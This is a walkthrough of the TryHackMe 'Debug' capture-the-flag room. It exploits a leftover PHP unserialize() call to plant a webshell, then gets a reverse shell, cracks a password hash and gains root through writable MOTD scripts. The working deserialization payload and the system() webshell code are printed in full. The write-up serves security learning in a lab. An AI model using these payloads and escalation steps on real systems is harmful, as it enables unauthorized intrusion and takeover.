TryHackMe Debug Write-Up


Debug is a free room from TryHackMe, it revolves around a PHP deserialization vulnerability present on a web page
Let’s begin with a nmap scan
nmap -sS -Pn -n -p- -vv -oA nmap/ports <target ip>-sS - SYN scan
-Pn - do not ping for host discovery
-n - do not do DNS resolution
-p- - scan all ports
-vv - print ports as soon as they are discovered
-oA - output the result in all nmap formats

The scan quickly list port 22 (SSH) and port 80 (HTTP) as open
The scan completes with no other ports open
Let’s see what is running on port 80

An apache default page, let’s see if there is something else on the web server with gobuster

gobuster dir -u http://10.10.80.241/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 70 --random-agent -o gobuster-80.txt-u - the base url to check
-w - wordlist to use
-t - number of parallel threads
--random-agent - use a random user agent instead of using "gobuster" as sometimes this causes gobuster to be blocked
-o - output the result in a file



/backup seems a lot like the base web root, to check this hypothesis we can see if readme.md is both on /backup/readme.md and on /readme.md

The two files are the same
And since the backup endpoint has an index.html.bak, I guess that there should be a index.html on the main “production” web root URL

And in fact it is the apache default page
What about the index.php(.bak) present in the backup folder?

In fact it exists!

Moreover the index.php page has a form for submitting messages to the administrators
But, more important than the form, is the index.php.bak present in the /backup directory, as we can download the file since apache will not execute it as it does not end with a php/php5/phtml extention, so it is treated as any text file

The index.php.bak file is basically a plain HTML file with just one small PHP snippet

<?php
class FormSubmit {
public $form_file = 'message.txt';
public $message = '';
public function SaveMessage() {
$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";}public function __destruct() {file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';}}// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);$application = new FormSubmit;
$application -> SaveMessage();?>
The code uses the GET parameters ‘name’, ‘email’ and ‘comments’ from the form in /index.php and creates a message for the administrator
as the page is loaded, the PHP object ‘FormSubmit’ containing the message is created and, as soon as it is created, the object is deleted as the PHP script execution ends
In PHP, when an instance of a class is deleted, if the object class has a __destruct() method, this __destruct() function is called
more info here
The __destruct() function present in the code creates/appends the content of the variable ‘message’ into a file named from the content of the variable ‘form_file’
So if we can pass a PHP webshell in the ‘message’ variable and set ‘form_file’ to a .php file name, we should be able to obtain a webshell
But as far as the code tells us, the only instance of FormSubmit is created programmatically, the name of the file is always ‘message.txt’ and the message is taken from the form input fields


So even if we try to inject PHP code, it will not be executed as the file is .txt


The interesting part of the code that we can leverage to our advantage is the following

// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);
Here the developer left a call to unserialize() that will be used when the GET parameter ‘debug’ is not empty
unserialize() is a function that takes a string input and creates a PHP object from the input itself
So if we create on our local attack machine/VM a PHP ‘FormSubmit’ object based on the code we found, with ‘message’ set to a PHP web shell and ‘form_file’ set to a .php file name, serialize it and send the resulting string as value for the GET ‘debug’ parameter of index.php, we should be able to create a php file with arbitrary content
Let’s run a test first

<?php
class FormSubmit {public $form_file = 'file.notphp';
public $message = 'test content';}print urlencode(serialize(new FormSubmit));
?>
The above code declares a PHP class named ‘FormSubmit’, creates an instance, it serializes it and then url encodes the result as we have to send this over to an HTTP server

Let’s copy this string and send it over to index.php in the ‘debug’ GET parameter


And in /file.notphp we find the content we setup on our exploit.php file
So, as the PHP object was created by unserialize(), it then was deleted by the conclusion of the PHP code execution and then __destruct() created the file as we wanted
What will happen if we use the following code to create out serialized object?

<?php
class FormSubmit {public $form_file = 'message.php';
public $message = '<?php
if(isset($_GET[\'cmd\']))
{
system($_GET[\'cmd\']);
}
?>';}print urlencode(serialize(new FormSubmit));
?>
This should create a ‘message.php’ file with a system() call using the GET parameter ‘cmd’ thus allowing remote code execution on the target machine

Let’s copy this string and send it over to index.php in the ‘debug’ GET parameter

Then, after visiting the URL with the serialized PHP object, we check if our webshell works as intended


In order to use this webshell in a simpler way, I am going to switch over to Burp

Let’s send this request to repeater, and see if we can get a shell

Indeed we have bash on the target
Let’s see if a simple bash reverse shell from pentestmonkey works

The reverse shell works and we are on the target machine as www-data!

Setup linpeas.sh on a python3 http.server to allow downloading from the target machine
more info here

And we have linpeas running on the target machine

Linpeas here is giving us everything we need, and right at the end of its execution it gives us some very valuable information

We can then copy this hash to our machine and execute john on it

And now we can try to use these credentials to access the machine via ssh

We have ssh access

And user.txt file for the flag

In the user home directory we see that there is a ‘Note’ file with some info from the root user
It is saying that the current ssh user has the privileges to change the MOTD
From linpeas, the directories listing on the web server and the apache UBUNTU default web page we know we are on a ubuntu machine
A quick google search finds us an old but interesting blog post about MOTD locations in ubuntu
And in fact we find the motd scripts in /etc/update-motd.d

These scripts are set as executable and are executed as root when a user logs in on the machine
By adding commands to these scripts we can execute any command we want and we can edit them as the owner group for these files has been set to our user
more info here
From the previuos execution of linpeas we know that root is allowed to login via ssh, so we could try and add an ssh public key to root’s authorized_keys /root/.ssh/ directory




Copy the public key to the user home direcory and remove the user name from the public key


Add the command in any of the motd files to append the user public key to root’s authorized keys
Now exit the ssh session and login again with the same user, then try to ssh on the local host using the newly created private key

We are root and can read root.txt for the flag

This concludes TryHackMe Debug room
I hope you liked it.
PVXs